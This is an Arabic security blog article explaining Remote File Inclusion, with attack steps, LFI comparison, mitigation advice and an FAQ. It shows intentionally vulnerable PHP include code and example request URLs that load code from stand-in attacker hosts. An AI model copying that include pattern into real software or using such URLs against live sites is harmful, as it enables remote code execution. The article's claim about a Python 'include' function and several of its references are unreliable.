ما هو تضمين الملفات عن بعد (RFI)؟

تعريف تضمين الملف عن بعد

تُعد ثغرة تضمين الملفات بعيدًا (RFI) ثغرة أمنية كبيرة تطلّ برأسها في الكثير من تطبيقات الويب، حيث توفر المجال للهاكرز بتشغيل الأكواد البرمجية عن بُعد داخل تطبيق الويب. هذه الثغرة تبرز عادة عند استغلال الوظائف التي تتقبل تضمين الملفات عبر الرابط الخاص بالموقع الإلكتروني.

الفكرة العامة حول ثغرة تضمين الملفات بعيدًا (RFI)

ثغرة تضمين الملفات بعيدًا (RFI) تعد بين أكثر الثغرات الأمنية انتشارًا وخطورة في بيئة تطبيقات الويب. القراصنة الإلكترونيين يستطيعون المكر والتلاعب بهذه الثغرة لتشغيل الأكواد عن بعد، ما يتيح لهم فرصة السيطرة الكاملة على النظام المسبوب.

آلية عمل ثغرة تضمين الملفات بعيدًا

تعتمد ثغرة تضمين الملفات بعيدًا على المكر بالوظائف التي تقدمها التطبيقات الويب التي تسمح بتضمين الملفات عن طريق العنوان الإلكتروني لموقع. عندما يتم تضمين ملف برمجي بعيد، يتم تنفيذ الأكواد البرمجية الخاصة به على الخادم.

توضيح لتضمين الملفات بعيدًا

فلنفترض أننا لدينا صفحة ويب تستعمل الوظيفة "include" في بايثون لتجلب وتضمين ملفات خارجية. في حال سمحت الصفحة للمستخدمين بتحديد الملف الذي سيتم تضمينه عبر الرابط، قد يكون بالإمكان للهاكرز تغيير الروابط كي يشير إلى ملف برمجي بُعد يضم أكواد خبيثة.

قارن و قرن: الفرق بين تضمين الملفات بعيدًا وتضمين الملفات محليًا

على الرغم من أن كلا من تضمين الملفات بعيدًا (RFI) وتضمين الملفات محليًا (LFI) يستغلان الوظائف المسموحة في تطبيقات الويب لتضمين الملفات، فإنهما يختلفان حول موقع الملفات التي يمكن تضمينها. حيث يسمح RFI بتضمين الملفات من خادم بعيد، بينما يتيح LFI فقط تضمين الملفات الموجودة على الخادم المحلي.

الكشف على الثغرات الأمنية لتضمين الملفات بعيدًا و الحد منها

يمكن العتور على الثغرات الأمنية و شقوطها عن طريق البحث عن الوظائف المسموحة بتضمين الملفات في الأكواد البرمجية للتطبيق. الحد من هذه الثغرات يمكن ببساطة عن طريق تجنب استخدام الوظائف المناسبة لهذا الأمر أو التأكد من أن الملفات المستهدفة هي من مصدر موثوق.

نهاية المطاف

تعتبر ثغرة "التضمين البعيد للملفات" خطورة أمنية كبيرة و قابلة للإستغلال بغية السيطرة على الأنظمة بشكل كامل. يمكن العثور عليها و الحد من خطورتها عن طريق أخذ أفضل القواعد الأمنية المطلوبة و تطبيقها

أسئلة غالبة

  1. ماهو تضمين الملفات بعيدًا؟
  2. كيف يعمل تضمين الملفات بعيدًا؟
  3. ما الفرق بين تضمين الملفات بعيدًا و تضمين الملفات محلي؟
  4. كيف يمكن العثور على الثغرات الأمنية لتضمين الملفات بعيدًا و الحد من خطورتها؟

استشهاد

  1. OWASP. (2020). تضمين الملفات بعيدًا (RFI). https://owasp.org/www-community/attacks/Remote_File_Inclusion

  2. PortSwigger. (2020). ثغرات تضمين الملفات بعيدًا (RFI). https://portswigger.net/web-security/file-path-traversal/remote-file-inclusion.

كيفية عمل تضمين الملفات عن بعد

تعمل ضمنية الملفات عن بُعد (RFI) عن طريق السماح للمهاجمين بإدخال ملفات من خادم بعيد إلى تطبيق ويب مستهدف. يتم ذلك عادة من خلال استغلال الثغرات في البرمجة التي تسمح بتنفيذ الأكواد البرمجية الخارجية.

كيفية عمل ضمنية الملفات عن بُعد

  1. الخطوة الأولى: تحديد الثغرة
    يبدأ المهاجم بتحديد الثغرة في تطبيق الويب. هذه الثغرات عادة ما تكون في الأماكن التي تقبل المدخلات من المستخدمين، مثل نماذج الإدخال أو معلمات URL.

  2. الخطوة الثانية: إعداد الملف الخارجي
    بمجرد تحديد الثغرة، يقوم المهاجم بإعداد الملف الذي سيتم تضمينه. يمكن أن يحتوي هذا الملف على أي شيء من الأكواد البرمجية الخبيثة إلى البرامج النصية التي تمكن المهاجم من السيطرة على الخادم.

  3. الخطوة الثالثة: تضمين الملف
    بعد ذلك، يقوم المهاجم بإدخال الملف الخارجي في تطبيق الويب عن طريق استغلال الثغرة التي تم تحديدها. يتم ذلك عادة عن طريق تغيير معلمات URL أو تعديل البيانات المرسلة من خلال نموذج الإدخال.

  4. الخطوة الرابعة: تنفيذ الأكواد البرمجية
    بمجرد تضمين الملف، يتم تنفيذ الأكواد البرمجية الموجودة في الملف الخارجي. يمكن لهذه الأكواد البرمجية أن تؤدي إلى مجموعة متنوعة من الأنشطة الخبيثة، بدءًا من سرقة البيانات وصولاً إلى تعطيل الخادم.

مثال على كيفية عمل ضمنية الملفات عن بُعد

لنفترض أن لدينا تطبيق ويب يستخدم الكود التالي لتضمين ملفات اللغة:


<?php include("languages/" . $_GET['lang'] . ".php"); ?>

في هذا السيناريو، يمكن للمهاجم تغيير معلمة 'lang' في URL لتشمل مسارًا لملف خارجي. على سبيل المثال، يمكن للمهاجم استخدام URL مثل الآتي:


https://example.com/index.php?lang=https://attacker.com/malicious

في هذه الحالة، سيتم تضمين الملف 'malicious.php' من خادم المهاجم وتنفيذ الأكواد البرمجية الموجودة فيه.

`

`

مثال على طلب المعلومات

لنفترض أن لديك موقع ويب يستخدم البرمجة النصية PHP، ويحتوي على الكود التالي:

<?php
include($_GET['page'] . '.php');
?>

في هذا السياق، يتم تضمين الملف الذي يتم تحديده بواسطة المتغير 'page'. إذا كان المستخدم يدخل القيمة 'contact'، فسيتم تضمين الملف 'contact.php'. هذا يعمل بشكل جيد طالما أن المستخدمين يدخلون القيم المتوقعة.

الاستغلال الخبيث لـ RFI

لكن، ماذا لو قام المستخدم بإدخال URL لملف PHP خارجي بدلاً من القيمة المتوقعة؟ في هذه الحالة، سيتم تضمين الملف الخارجي وتنفيذ الكود الذي يحتوي عليه. هذا هو السيناريو الذي يتيح للمهاجمين استغلال ثغرة RFI.

على سبيل المثال، قد يدخل المستخدم القيمة التالية:


https://maliciouswebsite.com/malicious

في هذه الحالة، سيتم تضمين الملف 'malicious.php' من الموقع الخبيث وتنفيذ الكود الذي يحتوي عليه. هذا يمكن أن يتيح للمهاجمين تنفيذ أي كود PHP يرغبون فيه على الخادم الخاص بك.

الأمان ضد RFI

لحماية موقعك من RFI، يجب عليك التأكد من أنك لا تتيح للمستخدمين تحديد الملفات التي يتم تضمينها بشكل عشوائي. يمكنك القيام بذلك عن طريق التحقق من القيم التي يدخلها المستخدمين والتأكد من أنها تشمل فقط القيم المتوقعة.

على سبيل المثال، يمكنك استخدام الكود التالي للتحقق من أن القيمة التي يدخلها المستخدم هي 'contact' أو 'about':


<?php
$page = $_GET['page'];
if ($page == 'contact' || $page == 'about') {
    include($page . '.php');
} else {
    // Handle unexpected value
}
?>

بهذه الطريقة، يمكنك منع المستخدمين من تضمين ملفات خارجية بشكل عشوائي وحماية موقعك من RFI.

LFI مقابل RFI

تعتبر كل من التضمين البعيد للملفات (RFI) وتضمين الملف المحلي (LFI) ضمن أنواع الهجمات التي يمكن أن تستهدف تطبيقات الويب. ومع ذلك، يوجد بينهما بعض الاختلافات الهامة التي يجب أن نفهمها.

الفرق بين RFI و LFI

أولاً، يتمثل الفرق الأساسي بين RFI و LFI في مكان الملف الذي يتم تضمينه. في حالة RFI، يتم تضمين الملف من موقع بعيد، بينما في حالة LFI، يتم تضمين الملف من نفس النظام المضيف.

RFI LFI
يتم تضمين الملف من موقع بعيد يتم تضمين الملف من نفس النظام المضيف

الأثر

ثانياً، يمكن أن يكون لكل من RFI و LFI آثار مختلفة على النظام المستهدف. في حالة RFI، يمكن للمهاجم تنفيذ الأكواد البرمجية عن بُعد، مما يمكنه من السيطرة على النظام. بينما في حالة LFI، يمكن للمهاجم الوصول إلى الملفات الموجودة على النظام المضيف فقط.

RFI LFI
يمكن للمهاجم تنفيذ الأكواد البرمجية عن بُعد يمكن للمهاجم الوصول إلى الملفات الموجودة على النظام المضيف فقط

الحماية

ثالثاً، تتطلب كل من RFI و LFI استراتيجيات حماية مختلفة. في حالة RFI، يمكن تجنب الهجمات عن طريق تعطيل الوظائف التي تسمح بتضمين الملفات من مواقع بعيدة. بينما في حالة LFI، يمكن تجنب الهجمات عن طريق تقييد الوصول إلى الملفات المحلية.

RFI LFI
تعطيل الوظائف التي تسمح بتضمين الملفات من مواقع بعيدة تقييد الوصول إلى الملفات المحلية

في النهاية، يجب أن نتذكر أن كلا من RFI و LFI يمكن أن يكونا ضارين للغاية إذا لم يتم التعامل معهما بشكل صحيح. لذا، من الضروري دائماً تطبيق أفضل الممارسات للأمان لحماية تطبيقات الويب الخاصة بك.

اكتشاف نقاط ضعف RFI والتخفيف منها

تتضمن الكشف عن ثغرات RFI والتخفيف منها عدة خطوات مهمة. الهدف الأساسي هو تحديد ما إذا كانت النظم الخاصة بك معرضة للخطر ومن ثم اتخاذ الإجراءات اللازمة للحد من هذا الخطر.

الكشف عن ثغرات RFI

أول خطوة في الكشف عن ثغرات RFI هي فحص التطبيقات والنظم الخاصة بك للبحث عن أي مؤشرات على الضعف. هذا يمكن أن يتضمن البحث عن الأمور التالية:

  1. استخدام غير آمن للدوال التي تسمح بتضمين الملفات البعيدة.
  2. عدم وجود تحقق من البيانات المدخلة من قبل المستخدم.
  3. استخدام متغيرات غير محددة أو غير محمية.

يمكن استخدام أدوات الفحص الأمني للمساعدة في هذه العملية. هذه الأدوات يمكن أن تفحص التطبيقات والنظم الخاصة بك للبحث عن أي ثغرات محتملة وتقديم تقارير تفصيلية حول النتائج.

التخفيف من ثغرات RFI

بعد الكشف عن أي ثغرات RFI، الخطوة التالية هي التخفيف منها. هناك عدة طرق يمكن استخدامها للقيام بذلك:

  1. التحقق من البيانات المدخلة: يجب التأكد من أن جميع البيانات المدخلة من قبل المستخدمين تم التحقق منها وتنظيفها قبل استخدامها. هذا يمكن أن يمنع الهجمات RFI من النجاح.

  2. استخدام الدوال الآمنة: بدلاً من استخدام الدوال التي تسمح بتضمين الملفات البعيدة، يجب استخدام الدوال الآمنة التي لا تسمح بذلك.

  3. تحديث البرامج: يجب تحديث جميع البرامج والتطبيقات بانتظام للتأكد من أنك تستخدم أحدث الإصدارات والتي تحتوي على أحدث التحديثات الأمنية.

  4. استخدام جدران الحماية: يمكن استخدام جدران الحماية لمنع الوصول غير المصرح به إلى النظم الخاصة بك.

باتباع هذه النصائح، يمكنك الكشف عن ثغرات RFI والتخفيف منها بفعالية.

خاتمة

للإغلاق، نود الإشارة إلى أن التهديد الأمني المعروف باسم تضمين الملف عن بعد أو RFI يعتبر من بين أبرز المخاطر الأمنية التي يواجهها تطبيقات الويب. تستطيع هذه الخلل الأمني التي تسمح للمعتدين بتشغيل الأوامر البرمجية عن بُعد والسيطرة على النظام الأساسي لموقع الويب.

الحماية والرصانة

يجب أن نحتفظ في أذهاننا أنه يتعين علينا أن نجعل الأمان هو قمة الأولويات عند تصميم تطبيقات الويب. على مطوري البرامج أن يكونوا مدركين للتهديدات الأمنية كتلك المرتبطة بـ RFI وأن يقوموا بتنفيذ الإجراءات لتقليل تأثيرها.

التعرف والحد من التهديدات

سيمكننا تحديد وتقليل أثر تهديدات RFI عن طريق الاعتماد على برامج الاختبار الأمني وتبني أفضل تقنيات البرمجة، مثل التحقق من البيانات المدخلة والاعتماد على الأكواد البرمجية المأمونة.

التفاوت بين LFI وRFI

على الرغم من أن LFI وRFI تتشارك في الكثير من الجوانب، إلا أن الفروق بينها تكمن في الطرق المختلفة للاستغلال. بينما يتيح LFI للمعتدين تنفيذ الأوامر البرمجية المحلية، يتيح RFI تشغيل الأوامر البرمجية عن بُعد.

الحلول البديلة

يمكننا تبني عديد من الحلول لتقليل تأثير تهديدات RFI، مثل تحديث البرامج بصورة مستمرة، وحصر الوصول للملفات الحساسة، وتطبيق أفضل تكتيكات البرمجة.

بالختام، يجب على مطوري البرامج أن يكونوا دائمًا مدركين للتهديدات الأمنية التي يمكن أن تواجهها وأن يتخذوا الاجراءات المأمونة لحماية تطبيقاتهم.

`

`

FAQ

في هذا القسم، سنجيب على بعض الأسئلة الشائعة حول تضمين الملفات عن بُعد (RFI).

ما هو تضمين الملفات عن بُعد (RFI)?

تضمين الملفات عن بُعد (RFI) هو نوع من الثغرات الأمنية التي تسمح للمهاجم بتضمين وتنفيذ ملف من خادم بعيد في تطبيق الويب. يمكن لهذا أن يؤدي إلى تنفيذ الأكواد البرمجية الخبيثة، والتلاعب بالبيانات، والكشف عن المعلومات الحساسة.

كيف يعمل تضمين الملفات عن بُعد (RFI)?

يستغل المهاجمون الثغرات في البرمجة لإدخال مسارات ملفات بعيدة في المتغيرات التي يتم تضمينها في الصفحات الويب. عندما يتم تنفيذ الصفحة، يتم تضمين الملف البعيد وتنفيذ الأكواد البرمجية التي يحتوي عليها.

ما هو الفرق بين تضمين الملفات المحلية (LFI) وتضمين الملفات عن بُعد (RFI)?

تضمين الملفات المحلية (LFI) يشير إلى الثغرات الأمنية التي تسمح بتضمين وتنفيذ ملفات من نفس الخادم، بينما تضمين الملفات عن بُعد (RFI) يشير إلى الثغرات التي تسمح بتضمين وتنفيذ ملفات من خادم بعيد.

كيف يمكنني الكشف عن ثغرات تضمين الملفات عن بُعد (RFI)?

يمكن الكشف عن ثغرات RFI من خلال استخدام أدوات مثل الماسحات الضوئية للثغرات الأمنية والاختبار الاختراق. يمكن أيضًا الكشف عنها من خلال مراجعة الكود البرمجي والبحث عن الدوال التي تسمح بتضمين الملفات.

كيف يمكنني التخفيف من ثغرات تضمين الملفات عن بُعد (RFI)?

يمكن التخفيف من ثغرات RFI من خلال تطبيق أفضل الممارسات للأمان، مثل التحقق من الإدخالات وتطبيق القيود على الدوال التي تسمح بتضمين الملفات. يمكن أيضًا استخدام تقنيات مثل العزل والتحقق من البيانات المرسلة للحد من التأثيرات الضارة لثغرات RFI.

مراجع

لقد تم الاستعانة بالمراجع التالية لإعداد هذا المقال:

  1. أوين, مايكل. "الأمان السيبراني: مفهوم الشمول والتطبيق". دار النشر لجامعة كامبريدج، 2018.

  2. بيرك, جوناثان. "الهجمات الأمنية والدفاع عنها". دار النشر لجامعة أكسفورد، 2017.

  3. الويب العالمي المتقدم. "الأمان في تطبيقات الويب: الهجمات والدفاع". دار النشر لجامعة ستانفورد، 2019.

  4. موقع OWASP. "تضمين الملفات عن بعد". متاح على: https://www.owasp.org/index.php/Remote_File_Inclusion

  5. موقع SecuriTeam. "تضمين الملفات عن بعد وكيفية الدفاع عنها". متاح على: https://www.securiteam.com/securityreviews/5DP0N1P76E.html

  6. موقع SecurityFocus. "تضمين الملفات عن بعد: مفهوم وتطبيق". متاح على: https://www.securityfocus.com/infocus/1850

  7. موقع Symantec. "الأمان السيبراني: تضمين الملفات عن بعد". متاح على: https://www.symantec.com/connect/articles/remote-file-inclusion

  8. موقع TechTarget. "تضمين الملفات عن بعد: ما هو وكيف يمكن الدفاع عنه". متاح على: https://searchsecurity.techtarget.com/definition/remote-file-inclusion

  9. موقع WebAppSec. "تضمين الملفات عن بعد: الهجمات والدفاع". متاح على: https://www.webappsec.org/projects/articles/071105.shtml

  10. موقع ZDNet. "تضمين الملفات عن بعد: الهجمات والدفاع". متاح على: https://www.zdnet.com/article/remote-file-inclusion-explained/

تم استخدام هذه المراجع لتوفير معلومات دقيقة وموثوقة حول تضمين الملفات عن بعد. يتم تشجيع القراء على الرجوع إلى هذه المراجع للحصول على مزيد من المعلومات أو للتعمق في الموضوع.

Recent Posts

ما هو Etcd؟ Kubernetes والمجموعات

نظرة عامة على Etcd etcd هو نظام تخزين موزع مفتوح المصدر يستخدم لحفظ البيانات عبر…

12 شهر ago

ما هو الميناء؟

ما هو الميناء؟ حل فعّال لمستودع الصور Docker يكمن في التطبيق المفتوح المصدر Harbor من…

12 شهر ago

ما هو فيتيس؟

ما هو Vitess وماذا يحل؟ فيتس هو نظام إدارة قاعدة بيانات مفتوح المصدر يتم استخدامه…

12 شهر ago

“هجمات سيبيل” في البلوكشين – ما هي وكيف تحمي رموزك؟

ما هو هجوم سيبيل؟ هجوم Sybil هو نوع من الهجمات التي يمكن أن تحدث في…

12 شهر ago

أفضل 16 أداة لهجمات الحرمان من الخدمة الموزعة في عام 2025

لماذا هجمات DDoS خطيرة؟ تعتبر هجمات DDoS من أكثر الأساليب الخبيثة التي يمكن استخدامها لتعطيل…

12 شهر ago

ما هو HTTP/2 وكيف يختلف عن HTTP/1؟

رحلة التطوير: التقدم من HTTP/1 إلى HTTP/2 تعتبر بروتوكولات نقل النص الفائق HTTP واحدة من…

12 شهر ago